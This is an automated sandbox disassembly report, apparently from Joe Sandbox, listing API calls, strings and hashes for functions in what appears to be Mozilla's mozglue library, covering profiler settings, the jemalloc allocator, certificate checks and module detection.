getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C6754A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C6754BE
__Init_thread_footer.LIBCMT ref: 6C6754DB

Part of subcall function 6C69AB3F: EnterCriticalSection.KERNEL32(6C6EE370,?,?,6C663527,6C6EF6CC,?,?,?,?,?,?,?,?,6C663284), ref: 6C69AB49
Part of subcall function 6C69AB3F: LeaveCriticalSection.KERNEL32(6C6EE370,?,6C663527,6C6EF6CC,?,?,?,?,?,?,?,?,6C663284,?,?,6C6856F6), ref: 6C69AB7C

Part of subcall function 6C69CBE8: GetCurrentProcess.KERNEL32(?,6C6631A7), ref: 6C69CBF1
Part of subcall function 6C69CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6631A7), ref: 6C69CBFA

GetCurrentThreadId.KERNEL32 ref: 6C6754F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C675516
GetCurrentThreadId.KERNEL32 ref: 6C67556A
AcquireSRWLockExclusive.KERNEL32(6C6EF4B8), ref: 6C675577
moz_xmalloc.MOZGLUE(00000070), ref: 6C675585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C675590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C6755E6
ReleaseSRWLockExclusive.KERNEL32(6C6EF4B8), ref: 6C675606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C675616

Part of subcall function 6C69AB89: EnterCriticalSection.KERNEL32(6C6EE370,?,?,?,6C6634DE,6C6EF6CC,?,?,?,?,?,?,?,6C663284), ref: 6C69AB94
Part of subcall function 6C69AB89: LeaveCriticalSection.KERNEL32(6C6EE370,?,6C6634DE,6C6EF6CC,?,?,?,?,?,?,?,6C663284,?,?,6C6856F6), ref: 6C69ABD1

GetCurrentThreadId.KERNEL32 ref: 6C67563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C675646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C67567C
free.MOZGLUE(?), ref: 6C6756AE

Part of subcall function 6C685E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C685EDB
Part of subcall function 6C685E90: memset.VCRUNTIME140(ewll,000000E5,?), ref: 6C685F27
Part of subcall function 6C685E90: LeaveCriticalSection.KERNEL32(?), ref: 6C685FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C6756E8
GetCurrentThreadId.KERNEL32 ref: 6C675707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C67570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C675729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C67574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C67576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C675796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C6757B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C6757CA

Strings

[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C675BBE
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C6754A3
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C675D01
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C6757AE
GeckoMain, xrefs: 6C675554, 6C6755D5
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C6754B9
MOZ_PROFILER_STARTUP, xrefs: 6C6755E1
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C675717
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C6756E3
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C675749
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C675AC9
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C675D2B
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C675CF9
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C675D24
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C67548D
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C6757C5
[I %d/%d] profiler_init, xrefs: 6C67564E
MOZ_BASE_PROFILER_HELP, xrefs: 6C675511
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C675D1C
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C675C56
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C675B38
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C67584E
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C675724
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C675766
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C675791

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 9281bd095b1c1bfed6455e948f59ab0564802ef4dd06f148def9c6a5879425ac
Instruction ID: 17d5485f11beae4bbc4b2bc78ce587e8701a3d4b1a4bf0ff5f9a12761ab35170
Opcode Fuzzy Hash: 9281bd095b1c1bfed6455e948f59ab0564802ef4dd06f148def9c6a5879425ac
Instruction Fuzzy Hash: 68220370A083409FEB109F75849466A7BF4EF8B34CF1449ABE94687B41EB358845CB6F

Function 6C676C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C676CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C676D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C676D26

Part of subcall function 6C67CA10: malloc.MOZGLUE(?), ref: 6C67CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C676D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C676D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C676D73
free.MOZGLUE(00000000), ref: 6C676D80
CertGetNameStringW.CRYPT32 ref: 6C676DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C676DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C676DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C676DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C676E10
CryptMsgClose.CRYPT32(00000000), ref: 6C676E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C676E34
CreateFileW.KERNEL32 ref: 6C676EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C676F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C676F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C67709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C677103
free.MOZGLUE(00000000), ref: 6C677153
CloseHandle.KERNEL32(?), ref: 6C677176
__Init_thread_footer.LIBCMT ref: 6C677209
__Init_thread_footer.LIBCMT ref: 6C67723A
__Init_thread_footer.LIBCMT ref: 6C67726B
__Init_thread_footer.LIBCMT ref: 6C67729C
__Init_thread_footer.LIBCMT ref: 6C6772DC
__Init_thread_footer.LIBCMT ref: 6C67730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C6773C2
VerSetConditionMask.NTDLL ref: 6C6773F3
VerSetConditionMask.NTDLL ref: 6C6773FF
VerSetConditionMask.NTDLL ref: 6C677406
VerSetConditionMask.NTDLL ref: 6C67740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C67741A
moz_xmalloc.MOZGLUE(?), ref: 6C67755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C677568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C677585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C677598
free.MOZGLUE(00000000), ref: 6C6775AC

Part of subcall function 6C69AB89: EnterCriticalSection.KERNEL32(6C6EE370,?,?,?,6C6634DE,6C6EF6CC,?,?,?,?,?,?,?,6C663284), ref: 6C69AB94
Part of subcall function 6C69AB89: LeaveCriticalSection.KERNEL32(6C6EE370,?,6C6634DE,6C6EF6CC,?,?,?,?,?,?,?,6C663284,?,?,6C6856F6), ref: 6C69ABD1

Strings

SHA256, xrefs: 6C676EC0
CryptCATAdminReleaseCatalogContext, xrefs: 6C6772C8
(, xrefs: 6C67768A
wintrust.dll, xrefs: 6C6772CD

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 858c190bb57f4e87f73a33833c53e148145e72ab422720a4c3b976a6d8f1e02d
Instruction ID: 1b7a5fbfcb2b15ff5afa798546dfe38292a3c3479986ae711a6cc49239ad0319
Opcode Fuzzy Hash: 858c190bb57f4e87f73a33833c53e148145e72ab422720a4c3b976a6d8f1e02d
Instruction Fuzzy Hash: 12521871A043149FEB62CF25CC84BAA77B8EF4A304F10459AE50997640DB30AF85CFAD

Function 6C6A0DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C6A0F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C6A0F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C6A0FB7
EnterCriticalSection.KERNEL32(?), ref: 6C6A0FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C6A1031
LeaveCriticalSection.KERNEL32(?), ref: 6C6A10D0
EnterCriticalSection.KERNEL32(?), ref: 6C6A117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C6A1C39
EnterCriticalSection.KERNEL32(6C6EE744), ref: 6C6A3391
LeaveCriticalSection.KERNEL32(6C6EE744), ref: 6C6A33CD
LeaveCriticalSection.KERNEL32(?), ref: 6C6A3431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C6A3437

Strings

MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C6A3793
MALLOC_OPTIONS, xrefs: 6C6A35FE
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C6A37BD
Compile-time page size does not divide the runtime one., xrefs: 6C6A3946
: (malloc) Unsupported character in malloc options: ', xrefs: 6C6A3A02
MOZ_CRASH(), xrefs: 6C6A3950
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C6A37D2
<jemalloc>, xrefs: 6C6A3941, 6C6A39F1
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C6A37A8
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C6A3559, 6C6A382D, 6C6A3848

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 44d33c3dfe95f173cb9e50273e7764e76957d9cf63533723396bdc3312211ba9
Instruction ID: 249301ad7ba43680494910fcf49537c621d8e1aa10d20ff9972dfefb4d7eeb38
Opcode Fuzzy Hash: 44d33c3dfe95f173cb9e50273e7764e76957d9cf63533723396bdc3312211ba9
Instruction Fuzzy Hash: F7538C71A097018FC704CF69C580616FBE1BF89328F29C66DE8699B791D771EC42CB89

Function 6C6C34A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6C3527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6C355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6C35BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6C35E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6C363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6C3693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6C36CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6C3703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6C373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6C3775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6C378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6C3892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6C38BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6C3902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6C3939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6C3970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6C39EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6C3A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6C3AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6C3E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6C3EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6C3EE2

Part of subcall function 6C6C6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C6C61DD
Part of subcall function 6C6C6180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C6C622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6C40F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6C412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6C4157

Part of subcall function 6C6C6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C6C6250
Part of subcall function 6C6C6180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6C6292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6C441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6C4448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6C484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6C4863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6C4878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6C4896
free.MOZGLUE ref: 6C6C489F

Strings

, xrefs: 6C6C4CD2

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 02b77bc80408c860fb29e7c629fe44eb725db6a87f1a26b8b6be45a2424c8018
Instruction ID: ada7f64e090e8ba5cc16fa442943377089b6c7667d0d88823852b4a073b791da
Opcode Fuzzy Hash: 02b77bc80408c860fb29e7c629fe44eb725db6a87f1a26b8b6be45a2424c8018
Instruction Fuzzy Hash: 5CF25E74908B808FC761CF29C0846AAFBF1FFDA304F118A5ED99997711DB71A486CB46

Function 6C6764C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C6764DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C6764F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C676505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C676518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C67652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C67671C
GetCurrentProcess.KERNEL32 ref: 6C676724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C67672F
GetCurrentProcess.KERNEL32 ref: 6C676759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C676764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C676A80
GetSystemInfo.KERNEL32(?), ref: 6C676ABE
__Init_thread_footer.LIBCMT ref: 6C676AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C676AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C676AF7

Strings

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C676798
detoured.dll, xrefs: 6C6764DA
nvd3d9wrap.dll, xrefs: 6C676500
_etoured.dll, xrefs: 6C6764ED
nvdxgiwrap.dll, xrefs: 6C676513
user32.dll, xrefs: 6C676526

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: a019195db518b74fe561a175badf20a04ff64b15af15d6fb37e5ecf287d33281
Instruction ID: 947bdeebdd5be26a2c92ac932fda6ff1e28ac4fbb308c54bc7daba040c2e1ad3
Opcode Fuzzy Hash: a019195db518b74fe561a175badf20a04ff64b15af15d6fb37e5ecf287d33281
Instruction Fuzzy Hash: C6F1E5709052199FDF30CF25CC88BDAB7B4AF4A318F144699D809A7641E731EE85CFA9

Function 6C6CC4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6CC5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6CC6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C6CC74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C6CC7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C6CC9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6CCC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C6CCD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6CDB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C6CDB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C6CDB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6CDD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C6CDE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C6CE360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6CE432
memcpy.VCRUNTIME140(?,?,?), ref: 6C6CE472

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: cb9f89c2bf696856de421febbd4440b5347b0052e6dc4a5a9f91f299d82c7f43
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 4533CF71E0021ACFCB04CFA8C8806EDBBF2FF89304F298269D955AB755D731A945CB95

Function 6C68ED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C68EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C68EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C691695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6916B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C691770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C691A3E

Strings

~qfl, xrefs: 6C68ED10
~qfl, xrefs: 6C68ED13

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~qfl$~qfl
API String ID: 3693777188-3035862599
Opcode ID: d543e6919e07df0942e8e32c41760e1ad5e0f3b82bb16faa6f5cd68d7fbc26a7
Instruction ID: e03510da4251fb1f5fb14de7aeb0e58d42fbfd544b6ae784a8000222ee3fde58
Opcode Fuzzy Hash: d543e6919e07df0942e8e32c41760e1ad5e0f3b82bb16faa6f5cd68d7fbc26a7
Instruction Fuzzy Hash: B5B32871E0421ACFCB14CFA8C890ADDB7B2BF49304F2582A9D559AB745D730AD86CF94

Function 6C67FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6EE7B8), ref: 6C67FF81
LeaveCriticalSection.KERNEL32(6C6EE7B8), ref: 6C68022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C680240
EnterCriticalSection.KERNEL32(6C6EE768), ref: 6C68025B
LeaveCriticalSection.KERNEL32(6C6EE768), ref: 6C68027B

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C680D67, 6C680D7B, 6C680DAC
<jemalloc>, xrefs: 6C680D62, 6C680D76, 6C680DA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C67FE99, 6C67FEB7, 6C67FED3, 6C680DB8, 6C680DD3, 6C6819B4

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 3801f49a70012a9c1f3e88df85a6f1ac3918c62e2dfe383bc499353103117abf
Instruction ID: b10e03131f1dc21a63f3337818d34ab5f3065d427152874791ea50d673e64822
